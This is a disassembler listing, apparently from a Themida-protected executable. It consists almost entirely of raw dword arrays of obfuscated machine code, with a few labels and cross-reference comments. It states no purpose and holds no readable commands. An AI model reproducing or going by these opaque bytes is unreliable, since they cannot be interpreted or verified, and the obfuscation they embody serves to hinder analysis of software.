dd 1A518D89h, 0B58B0607h, 60AADDBh, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 19h, 1C35545h, 0E0AD7D5Dh, 4FBB66DFh
dd 0CD858B13h, 8906072Bh, 56006A06h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1504h, 0C3564600h, 0BB1373h, 8B4FFCAAh
dd 72A1D85h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1704h, 0C3514100h, 897B9476h, 29D19D8Bh, 10E90607h
dd 72000000h, 727FF99Fh, 0ED68894Bh, 0C5FFABF5h, 8998C2B3h
dd 0BD2B0446h, 60721A5h, 0BB665096h, 6A965569h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h
dd 0E92BC357h, 13h, 73D7D2B6h, 60770C7Fh, 0ED51CCB6h, 0B39E16A4h
dd 0FF37DEEDh, 0AADD7B5h, 6E806h, 0FB780000h, 74AB0C93h
dd 7E9h, 0EA9C7C00h, 0BBE0E91Ch, 7A34685Fh, 348102A2h
dd 0BD79CB24h, 56006A02h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1704h, 0C3564600h, 0BD22589Eh, 14E9h, 0C64CC700h
dd 0BBBE3ACAh, 0FEDCB700h, 0D100455Ch, 79A60EBh, 0DF858D7Ah
dd 80060AADh, 0BB90F5C3h, 7AC8F36Fh, 0F7819050h, 71971636h
dd 9F995FFh, 9D8B0607h, 6071E1Dh, 0B70F5361h, 85C75FD8h
dd 6073305h, 3, 263D9D89h, 18BB0607h, 83065A3Ah, 0AADDFBDh
dd 840F0006h, 4Eh, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 19h, 4BC35545h, 2F62A5A0h, 43E942h, 6A0000h
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
dd 4DEF2DC3h, 750B8DA5h, 12E19D8Bh, 30500607h, 4400110Ch
dd 0E8C10111h, 11443010h, 114C0002h, 0E9835803h, 0EBE77504h
dd 4305036h, 11640011h, 10E8C101h, 2114430h, 3116400h
dd 4E98358h, 1BEBE775h, 10E8C150h, 3116428h, 2114430h
dd 11642858h, 11043001h, 7504E983h, 8B00EBE7h, 12E9C0h
dd 87C10000h, 0DDAB43D9h, 0A9E947A0h, 5B793252h, 0DF8355A0h
dd 0DE9h, 490B4100h, 0F2588E37h, 3F090A4Dh, 0BD83DAADh
dd 6073305h, 52850F03h, 6A000004h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 9387C353h
dd 6DBBE618h, 8B5AABC7h, 0DFBD83F8h, 60AADh, 41F840Fh
dd 0DA8B0000h, 0ADDFB5FFh, 6E8060Ah, 82000000h, 0C1EA3B47h
dd 898D8936h, 5B060710h, 212995FFh, 6A0607h, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 1B0424h, 51410000h, 1A0516C3h
dd 5E6F3F3Bh, 68F0FF3h, 9000000h, 703758Dh, 0D3B58B06h
dd 66060AADh, 89F664BBh, 703298Dh, 106C706h, 6A000100h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 15042444h
dd 47000000h, 8C85C357h, 3065BD23h, 0D7810607h, 228B80DEh
dd 66605150h, 0B8292FBFh, 1C9BC4DFh, 34895F61h, 56006A24h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h, 0C3564600h
dd 396C1C7Fh, 1A0D9529h, 8B500607h, 705AD9Dh, 0B5FF5F06h
dd 60AADDFh, 0EE8h, 0AB1BE900h, 5C8031B5h, 0ABA0D127h
dd 146DA38h, 725FD85h, 95FF5B06h, 6070251h, 29C19D8Bh
dd 0B58B0607h, 60AADD3h, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 15h, 0F3C35242h, 0D7816619h, 858BC794h, 60712A1h
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 15h, 0F1C35141h
dd 68A0F6Ch, 89000000h, 72931BDh, 7E806h, 85CE0000h, 0FD8CFBF3h
dd 0E840F98h, 0E9000000h, 9, 97144478h, 374640CCh, 86895B85h
dd 0C4h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 1Bh, 8C35747h, 616FE882h, 0BFC86DE4h, 6A071381h, 1AD9958Bh
dd 0BD8B0607h, 607006Dh, 6A04C283h, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 2474C352h
dd 985D6A0Ch, 3360E5B2h, 7327DBDh, 0C0B70F06h, 13E961h
dd 0B4EF0000h, 1E293C96h, 45F0E4EEh
dd 4CD03A5Ch, 4AF6F199h, 205089BCh, 8DFAB70Fh, 0AC17085h
dd 800F06h, 89000000h, 0B886h, 8E900h, 74140000h, 5389E48Dh
dd 6A1A3Dh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 19h, 3C35242h, 96812274h, 0B70F6047h, 611CB6C7h, 0ADDFB5FFh
dd 6A060Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h
dd 53430000h, 430C2BC3h, 6B9560ECh, 63D38166h, 9195FFBDh
dd 6A060707h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 14042444h, 46000000h, 0F4BC356h, 88Ch, 820F5300h, 0
a_cflPs db '_√f▀чPИ',0Ah,0
db 2 dup(0), 59h
dd 0F884B307h, 76F38A16h, 6A9646h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 180424h, 50400000h, 0A230DEC3h, 0B70F12F4h
dd 0DFB5FFF8h, 6A060AADh, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 19042444h, 41000000h, 0AEB3C351h, 7AAE3508h
dd 2D0995FFh, 6A0607h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 160424h, 57470000h, 0B94B42C3h, 0AE8h, 59F0A800h, 7F551C4h
dd 0E956D71Fh, 0Fh, 0F4E3B2D6h, 37FCAA9Dh, 0B8E5DEEBh
dd 5F3B94B6h, 14C1BD83h, 0F000607h, 3484h, 5D9D0B00h, 5006072Eh
dd 89F88B66h, 6A2434h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 170424h, 50400000h, 2E2AA4C3h, 89DA8BB2h, 7139D85h
dd 0DFB5FF06h, 8B060AADh, 710E1BDh, 89BD8B06h, 0FF06072Ch
dd 71F9595h, 3ECF8106h, 0FF3E8F07h, 0AADDFB5h, 53006A06h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1704h, 0C3534300h
dd 9FC46FC5h, 95FFDDB3h, 60702C1h, 8317F780h, 72865BDh
dd 840F0206h, 2Bh, 858BF98Ah, 6070E69h, 0E857006Ah, 3
dd 5FC35F20h, 4247C89h, 4244481h, 14h, 66C35747h, 660000C6h
dd 0C79684BBh, 72A5185h, 6, 85896000h, 6070761h, 0F349E961h
dd 6AFFFFh, 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h
dd 50400000h, 2D2DA2C3h, 0A943F7DEh, 0BB106324h, 50B9FCFAh
dd 9D33C18Bh, 60712B1h
dword_586464 dd 18B1858Dh, 6A0607h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
; DATA XREF: Themida_:0053CC4Co
dd 1A0424h, 57470000h, 479A20C3h, 2D98AEC3h, 29B58589h
dd 0BD8B0607h, 6071275h, 9E850h, 0A13B0000h, 0CF98F0E1h
dd 8BF1D87Ah, 4895BFAh, 4480BB24h, 6A232Fh, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 6FC35545h, 95BD0B26h
dd 6A060722h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1604h, 0C3574700h, 0F05D6A7h, 858DFABFh, 60B9EC0h, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 55C35343h, 0C083C743h
dd 5E905h, 75090000h, 50324FDEh, 6A240489h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 0E006C357h
dd 0FB8E78FEh, 6A215FD9h, 51006A00h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1B04h, 0C3514100h, 0A853FEDDh
dd 0F1C2A27Eh, 12E1BD89h, 6A0607h, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 19h, 81C35747h, 2FFFF5D9h, 9D8953B9h
dd 6072245h, 3D95FF5Fh, 306071Eh, 72F71BDh, 0D58D8D06h
dd 6A060A93h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 1C042444h, 41000000h, 9E6EC351h, 8F3C3CDBh, 295C7BD9h
dd 711418Dh, 6AD1FF06h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 1A042444h, 40000000h, 54C0C350h, 2B31AEFAh
dd 0B59D8BD5h, 83060710h, 719BDBDh, 850F0106h, 63h, 6A026Ah
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h
dd 0DBBF29C3h, 585FBA6Fh, 0F381662Dh, 669020DFh, 503ACABBh
dd 0CE95250h, 9F000000h, 0D8D60014h, 309E551Dh, 0F189BE2h
dd 9AB16031h, 8A0Fh, 5A610000h, 0BD2B9058h, 6072D05h, 79195FFh
dd 7DBB0607h, 0E94CF947h, 0C4Dh, 0E8h, 0ED815D00h, 60B9ECAh
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 82C35242h
dd 4AE2F908h, 14E9h, 0A0F5C000h, 5BD1102Fh, 0C2E5E8D8h
dd 2AA6C04Ah, 0A50E58h, 3F858D71h, 8B060A84h, 712C59Dh
dd 8B606006h, 7232995h, 820F06h, 61000000h, 12E89061h
dd 0AC000000h, 0BA25A273h, 4C30E85Dh, 0F24B6D79h, 43B9E26Eh
dd 1CF2BBCBh, 505F48D8h, 90DA8B66h, 0D7D9531h, 0B600607h
dd 71A4D8Dh, 0C1D78106h, 616C536Fh, 35FF64h, 6A000000h
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 15042444h
dd 40000000h, 8B1BC350h, 258964h, 0FF000000h, 72F5985h
dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h
dd 0C3574700h, 16361B0Eh, 0AF902448h, 1830F31h, 0F5000000h
dd 6ADFB70Fh, 896051FFh, 71FB19Dh, 0D9858B06h, 6106070Ah
dd 0FFF98B5Fh, 72639B5h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1C04h, 0C3524200h, 0C9EB4883h, 0EFCFB3A0h
dd 6860F1Fh, 29000000h, 707AD8Dh, 8995FF06h, 0E906072Bh
dd 145h, 6800Fh, 0E3810000h, 476DB2E9h, 9D8900B0h, 6072059h
dd 8D2970E6h, 607109Dh, 8B6671E4h, 0F613CD8h, 11C83h, 9D2B5600h
dd 6070C65h, 0C8B60F5Bh, 0BAD9BF0Fh, 6, 13E8h, 2FF58900h
dd 595475DFh, 0C1FEDB10h, 10CF0EC2h, 3AF11531h, 0B99D8B57h
dd 5F06070Ah, 8BC18B5Fh, 720499Dh, 4E8C106h, 9E8h, 6E86D000h
dd 3EF4EE2Eh, 9D8B787Eh, 6070555h, 0E2F7665Bh, 3ADBD8Bh
dd 0C82B0607h, 2B9DBD8Bh, 0D18B0607h, 0CE9h, 0EA463D00h
dd 0C3DEA1AEh, 702A0EF7h, 10E9B9h, 0DF8B0000h, 59858B60h
dd 2306070Ch, 729C195h, 858B6106h, 6071405h, 66D8B70Fh
dd 0C083D88Bh, 14E907h, 59F40000h, 544E20F0h, 0DFCF2398h
dd 0D86FE9D5h, 0D0EB614Ch, 0C083D357h, 5E800h, 0DE0B0000h
dd 89B74385h, 72305BDh, 0D03B5B06h, 10830Fh, 9D8B0000h
dd 60705D5h, 40E9h, 0A6CEBF00h, 8D8B56AAh, 6072E51h, 1A31BD8Bh
dd 0E1830607h, 26840F01h, 0F000000h, 685h, 1BD8B00h, 83060722h
dd 72E51A5h, 0DA8AFE06h, 14059589h, 0BD8B0607h, 6070919h
dd 0E9h, 8CB58D00h, 6A060B12h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 1A042444h, 42000000h, 9E20C352h, 0A3B8E815h
dd 4185295Dh, 51060720h, 188D0Fh, 13E90000h, 0A4000000h
dd 473DEE69h, 0B048A2FCh, 0E3CFD71Eh, 2FA2CD83h, 6A5F8702h
dd 39BD0B00h, 0FF06072Ch, 70D6995h, 98BF6606h, 902B9C0h
dd 85290000h, 6070539h, 5800Fh, 81660000h, 8323A2E3h, 6AFCE1h
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h, 52420000h
dd 3E590AC3h, 8B9F2589h, 72FE59Dh, 6AFC06h, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 170424h, 56460000h, 46807BC3h
dd 0B8F877h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 14042444h, 42000000h, 668CC352h, 0A944CB81h
dd 0FE9D22Bh, 3C000000h, 0F0C6E29Dh, 95796477h, 7C9AFF3Ah
dd 33AD0654h, 3E8D1C2h, 4E983D0h, 0B70FF475h, 50006ADBh
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h, 0C3504000h
dd 0B5FFDB6Fh, 8969DADDh, 719CD95h, 880D06h, 9D890000h
dd 6071B89h, 1AD9958Bh, 6A0607h, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 180424h, 53430000h, 9E38DFC3h, 0BD33E2FDh
dd 60729E9h, 101D8D8Bh, 6A0607h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 180424h, 50400000h, 6422E9C3h, 8B506F7Ah
dd 3188BC2h, 8B188BC1h, 3E8D1C1h, 58188BC2h, 0ED66E381h
dd 0B58961F6h, 6070C85h, 0E29BD83h, 0F000607h, 4184h, 7E800h
dd 535B0000h, 0ADEC1EF7h, 0B85FB9h, 60000000h, 8799D89h
dd 8D610607h, 74B9B8Dh, 0FB8B6606h, 8E8E1FFh, 95000000h
dd 0D68A0BACh, 60A0DB22h, 1185C181h, 8D0164C3h, 60721B9h
dd 0BD835F61h, 6073305h, 0CE840F00h, 6A000003h, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h
dd 2B6BC355h, 0B3B79C17h, 5BD831Dh, 1060733h, 3BA840Fh
dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h
dd 52420000h, 2041FFC3h, 0DF816669h, 12E9549Fh, 20000000h
dd 0A6F45635h, 0DE1B36D6h, 8240A815h, 0D274F3F0h, 5BD831Dh
dd 3060733h, 33C860Fh, 6A600000h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 16042444h, 45000000h, 0C56AC355h
dd 88D0F70h, 0F000000h, 28Fh, 89FA8A00h, 72D1D95h, 0D98C6606h
dd 4E180F8h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 1Bh, 0D6C35545h, 7740A3EDh, 0A167EB4h, 9840FC9h, 6A000001h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1D042444h
dd 42000000h, 8A2DC352h, 947AE338h, 16C6F00Fh, 18C59D89h
dd 0B5310607h, 6072A95h, 2A1D858Bh, 10E80607h, 36000000h
dd 0C0EB71F6h, 3772531h, 0E9261FD0h, 6635171Ah, 0E555CB81h
dd 0FD85335Bh, 0F506071Ah, 12E990h, 96CC0000h, 8AF858E4h
dd 175B0605h
dd 2C8AD98Ch, 1CFBE3C7h, 3FC3BF50h, 6A90649Eh, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h
dd 0CE1DC356h, 6A9C5Eh, 0A52EDB81h, 0AD683214h, 5168BE3Fh
dd 8B665250h, 0E8310FDAh, 9, 0C97265EBh, 28BFC079h, 585A5FD8h
dd 2434815Fh, 68A13C52h, 0FFDF8B66h, 709F995h, 81666006h
dd 0F5792CEh, 68Ch, 0F58D8900h, 61060707h, 0ADDF8589h
dd 0E7BF060Ah, 0E90270A1h, 142h, 13E9h, 33EF3300h, 0AE6E069Eh
dd 7BC45B1Dh, 3A1CED59h, 0A0096590h, 0ADD7858Bh, 0DA8B060Ah
dd 1800C7h, 9D8B0000h, 6073235h, 0ADDBB58Bh, 6A060Ah, 3E857h
dd 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h
dd 26AF6FC3h, 0F5D8C781h, 858B3A15h, 6072BCDh, 89DF8B66h
dd 19D8B06h, 8B060711h, 72A1D85h, 4468906h, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 1C35343h, 0FFD6D1E5h
dd 1DBD0B06h, 96060711h, 50FE8B66h, 8E8h, 0BD6D8300h, 324C73D6h
dd 0DF8B66A3h, 6A965Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 150424h, 55450000h, 667037C3h, 0B5FFDE8Bh, 60AADD7h
dd 263DBD89h, 0DF680607h, 6082CB0Eh, 7509BB66h, 61D18B66h
dd 20240481h, 8B7D53F5h, 72D819Dh, 11E906h, 7170000h, 9AD8CD11h
dd 93273E4Fh, 0F0C024B8h, 8D2E08A1h, 0AADDF85h, 0F90F806h
dd 587h, 17CDBF00h, 0E95062F5h, 0Bh, 0DC3FF262h, 9638A766h
dd 903B9318h, 2C1D8D31h, 95FF0607h, 60709F9h, 0DD9D8Bh
dd 6A610607h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 1C042444h, 46000000h, 8CBC356h, 32D78B28h, 0C7CC8DCCh
dd 7330585h, 306h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1A04h, 0C3514100h, 0E8CB1448h, 83A41F1Eh
dd 0AADDFBDh, 840F0006h, 46h, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 16h, 59C35040h, 3EE9C3A2h, 6A000000h
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 15042444h
dd 43000000h, 0D711C353h, 22B19D8Bh, 30500607h, 4400110Ch
dd 0E8C10111h, 11443010h, 114C0002h, 0E9835803h, 0EBE77504h
dd 4305036h, 11640011h, 10E8C101h, 2114430h, 3116400h
dd 4E98358h, 1BEBE775h, 10E8C150h, 3116428h, 2114430h
dd 11642858h, 11043001h, 7504E983h, 8B00EBE7h, 0DE9C0h
dd 43A40000h, 2CCA8884h, 3E922C07h, 0BB6EE40Ch, 6564A7Ah
dd 3305BD83h, 0F030607h, 35985h, 0C3816600h, 0BD8356DFh
dd 60AADDFh, 47840F00h, 0BB000003h, 130487B7h, 0ADDFB5FFh
dd 0BB66060Ah, 95FF8967h, 6072129h, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 14h, 9AC35040h, 958B60F5h, 60710B5h
dd 442CBA66h, 0D3B58B61h, 0F8060AADh, 106C7h, 6A0001h
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h
dd 8A5F9CC3h, 5EA97F2h, 0B58B60A6h, 6072BD1h, 219D8B61h
dd 96060720h, 0F7BB6660h, 3EBE6641h, 0BB5061EFh, 65A71A50h
dd 6820F96h, 89000000h, 702798Dh, 0DFB5FF06h, 2B060AADh
dd 732F9BDh, 5195FF06h, 6A060702h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 1A042444h, 40000000h, 63F7C350h
dd 0B94CF075h, 71952905h, 8B060732h, 0AADD3B5h, 85BD8B06h
dd 8B06070Dh, 712A185h, 0A98D8906h, 89060712h, 0C486h
dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1604h
dd 0C3524200h, 8119FC34h, 7C46C3F7h, 0D9958B0Eh, 6A06071Ah
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1A042444h
dd 46000000h, 6E9C356h, 81BBC537h, 8338B7EDh, 508904C2h
dd 6D9D8920h, 8D060708h, 0AC17085h, 0DF816606h, 8689E5C6h
dd 0B8h, 12E9h, 19458700h, 2813ADEEh, 622717ECh, 0A6F8B429h
dd 0E8D3B952h, 0Bh, 0B98452F3h, 6EE6578Dh, 6600FA4Eh, 6A5FFB8Bh
dd 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1704h
dd 0C3504000h, 303BE573h, 19ADBD8Bh, 0E9600607h, 12h, 75197A46h
dd 2E7BA36Eh, 0DFF83371h, 79A00FC4h, 8E0FC359h, 5, 0A67D5BBh
dd 0B5FF610Ah, 60AADDFh, 9E9h, 62C19E00h, 48C8F1B3h, 95FFD536h
dd 6070791h, 0DF99D8Bh, 0F960607h, 28Fh, 509DB300h, 12E9h
dd 3E50B00h, 70639FEh, 0C9B1BD96h, 5FDF793Eh, 964D96D7h
dd 482ABB66h, 0ADDFB5FFh, 0BE8060Ah, 0B3000000h, 0A0857D45h
dd 0DBFCAE5Fh, 0BF0FF70Ah, 95FF5FF8h, 6072D09h, 1AB59D8Bh
dd 0BD830607h, 60714C1h, 12840F00h, 8B000000h, 70A359Dh
dd 0DD8A5006h, 31243489h, 7106995h, 0DFB5FF06h, 0E9060AADh
dd 0Fh, 0CA83AAEAh, 331836D5h, 0E4548A51h, 0FF05C936h
dd 71F9595h, 81F86006h, 25BB2DC0h, 14BF6152h, 0FF46017Eh
dd 0AADDFB5h, 68C0F06h, 89000000h, 726318Dh, 0C195FF06h
dd 0F060702h, 0E87h, 9E900h, 2A0C0000h, 0DB9C9BE6h, 832D126Ah
dd 72865BDh, 840F0206h, 4Ch, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 17h, 11C35545h, 66A7DEDDh, 858BD88Bh
dd 6070E69h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 19h, 7CC35040h, 0B136FC1Bh, 0C68Ch, 2A5185C7h, 607h
dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h
dd 55450000h, 6EB1C8C3h, 0BD2B0327h, 6072B09h, 1ABD9D23h
dd 0D4E90607h, 8BFFFFF4h, 712099Dh, 8BBBB306h, 8C0F60C1h
dd 6, 1B2D9509h, 870F0607h, 6, 8F0Fh, 89610000h, 72B618Dh
dd 0B1858D06h, 6A060718h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 1C042444h, 40000000h, 2D65C350h, 0C9CF3DA6h
dd 500DDCFCh, 48991B7h, 0BD8B5024h, 6071F9Dh, 6E95Fh, 3EF10000h
dd 82CC99D1h, 6A006Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 1A0424h, 52420000h, 0EBE039C3h, 4FD8C861h, 11FD9D8Bh
dd 6A0607h, 2A958D01h, 0EF800607h, 0F5858DDAh, 8B060BACh
dd 714D99Dh, 5C08306h, 23658589h, 50900607h, 90FA8B66h
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Dh, 1CC35040h
dd 0CE01CC06h, 5A77361Ah, 6880F6Ch, 89000000h, 713C585h
dd 28BB6606h, 6A006AA4h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 14042444h, 40000000h, 664BC350h, 6AF98Bh
dd 12E19D89h, 95FF0607h, 6071E3Dh, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 18h, 29C35545h, 0C7E22422h, 93D58D8Dh
dd 0B589060Ah, 60702C5h, 8589D1FFh, 6072211h, 19BDBD83h
dd 0F010607h, 0AB85h, 50006A00h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1604h, 0C3504000h, 31A4EAD4h, 72F9995h, 29026A06h
dd 711318Dh, 7ABF5006h, 8944111Eh, 6A2404h, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 1C0424h, 55450000h, 391C3C3h
dd 0EDE555CAh, 13E8D4F0h
dd 92000000h, 312A6908h, 0F5AD306Fh, 6112566Bh, 4275C5B1h
dd 0DE9276Ch, 31000000h, 0AEE76D5Dh, 0EEEFB854h, 0AE781EABh
dd 9195FF5Fh, 6A060707h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 19042444h, 45000000h, 0E31FC355h, 0B5C90613h
dd 0DF4E9h
db 0
byte_5874B9 db 0E8h, 2 dup(0) ; DATA XREF: Themida_:0053DB84o
dd 815D0000h, 0BACFFEDh, 51006A06h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1A04h, 0C3514100h, 59909EB5h, 8D879324h
dd 0A843F85h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1504h, 0C3514100h, 50F95D05h, 66535250h, 0F5BDF8Bh
dd 763CBF31h, 585A5E83h, 2B240489h, 725F1BDh, 35FF6406h
dd 0
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 6FC35141h
dd 24E5921Dh, 66D9D8Bh, 89640607h, 25h, 57006A00h, 3E8h
dd 0C35F2000h, 247C895Fh, 24448104h, 1804h, 0C3574700h
dd 0CBEA5A4h, 359D8B64h, 0FF060728h, 72F5985h, 6AFF6A06h
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 16042444h
dd 40000000h, 89E1C350h, 359D8B16h, 0FF06070Dh, 71531B5h
dd 0DF8B6006h, 95FF61F9h, 6072B89h, 108E9h, 0A8E0F00h
dd 0E9000000h, 5, 0CE2A4426h, 8900B02Dh, 7047195h, 0BF70E606h
dd 1825C29Ch, 958971E4h, 6071FD1h, 830F613Ch, 0D9h, 0A8B63ABBh
dd 0C8B60F03h, 0E4CB8166h, 6BA0Ch, 8B660000h, 0BC18BDEh
dd 7333D9Dh, 4E8C106h, 0E9D8B70Fh, 14h, 12969294h, 36DF1AA1h
dd 2CA5E262h, 506571A8h, 3180BCDEh, 51E2F766h, 1E6D9D8Bh
dd 2B5F0607h, 2AB160C8h, 199958Bh, 8B610607h, 55BD29D1h
dd 0E9060708h, 0
dd 2D15858Bh, 0EB800607h, 7C08386h, 18ED9589h, 0C0830607h
dd 0AE900h, 3A840000h, 0A9265FA8h, 0B8F568E1h, 830FD03Bh
dd 14h, 46E9CBB3h, 0E9000000h, 8, 0CB97690Fh, 0CE9A618Dh
dd 14F18D8Bh, 95890607h, 6071ED9h, 0F01E183h, 2484h, 0AD9D8B00h
dd 8306071Eh, 714F1A5h, 0BD8BFE06h, 607052Dh, 2D159589h
dd 85890607h, 6071175h, 0E9h, 0C0B58D00h, 6A060B1Dh, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h
dd 5F7CC357h, 6A006Ah, 3E850h, 58200000h, 448958C3h, 44810424h
dd 160424h, 50400000h, 1E5DE8C3h, 0D6995FFh, 6A0607h, 3E855h
dd 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h
dd 8643DEC3h, 0CF8166AFh, 0BD8BB4F1h, 60732CDh, 89DB9h
dd 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1704h
dd 0C3504000h, 125AC534h, 6E8h, 26906500h, 339A0C34h, 70AE59Dh
dd 0BD8B5B06h, 6071811h, 0E8FCE183h, 9, 2D2A9D74h, 0BB080465h
dd 7E97Ah, 8C3E0000h, 831950B6h, 66FC5BC3h, 0C02BD88Bh
dd 5E9h, 58804D00h, 0D22BF864h, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 1Ch, 4EC35545h, 496A4000h, 4A3BE730h
dd 75BD8Bh, 33AD0607h, 3E8D1C2h, 4E983D0h, 6AF475h, 3E852h
dd 5A200000h, 54895AC3h, 44810424h, 190424h, 52420000h
dd 37C50BC3h, 0E88BD7BAh, 0Eh, 0A5ACD2Bh, 66570D50h, 0FD1ACF38h
dd 0DB813186h, 4ED16500h, 0D185895Fh, 6A06071Ah, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h
dd 21B2C353h, 81ED04E8h, 20F37FDFh, 2890F52h, 8B000000h
dd 880DDFh, 0EE80000h, 0B6000000h, 0D7A6275Bh, 0BAE3F8E7h
dd 0F31ACD6Bh, 0F98B6606h, 0D9958B5Bh, 6A06071Ah, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h
dd 6D38C357h, 224C83D4h, 0A9B96029h, 611BF6D8h, 101D8D8Bh
dd 9D330607h, 6073055h, 8BC28B50h, 8BC10318h, 0D1C18B18h
dd 8BC203E8h, 0BF0F5818h, 8268BFD8h, 0BD830D55h, 6070E29h
dd 0B0840F00h, 6A000000h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 16042444h, 40000000h, 2370C350h, 0C8BB6667h
dd 0B868h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 140424h, 53430000h, 96BFA4C3h, 8B5B0C84h, 72E5D9Dh
dd 9B8D8D06h, 6A06074Bh, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 1A042444h, 43000000h, 8A8DC353h, 0CC8F8998h
dd 39B58958h, 0FF060711h, 57006AE1h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1804h, 0C3574700h, 486F99B2h
dd 298501D7h, 0F06070Dh, 681h, 29BD8B00h, 83060733h, 73305BDh
dd 840F0006h, 45Fh, 0BD83DA8Ah, 6073305h, 6B840F01h, 8B000004h
dd 732CDBDh, 5BD8306h, 3060733h, 422860Fh, 0BE90000h, 0F9000000h
dd 2AE580F0h, 4B6CE605h, 8E988B3h, 45000000h, 2DAEC3Dh
dd 602600C4h, 11E8h, 47B6100h, 0E026F4D6h, 1EF9CCDEh, 0FE86E03Eh
dd 8EB704C6h, 0BD89575Bh, 6071A31h, 0D98C665Fh, 80F88B66h
dd 666004E1h, 0BBEFE081h, 0F561F18Bh, 840FC90Ah, 1DAh
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 62C35545h
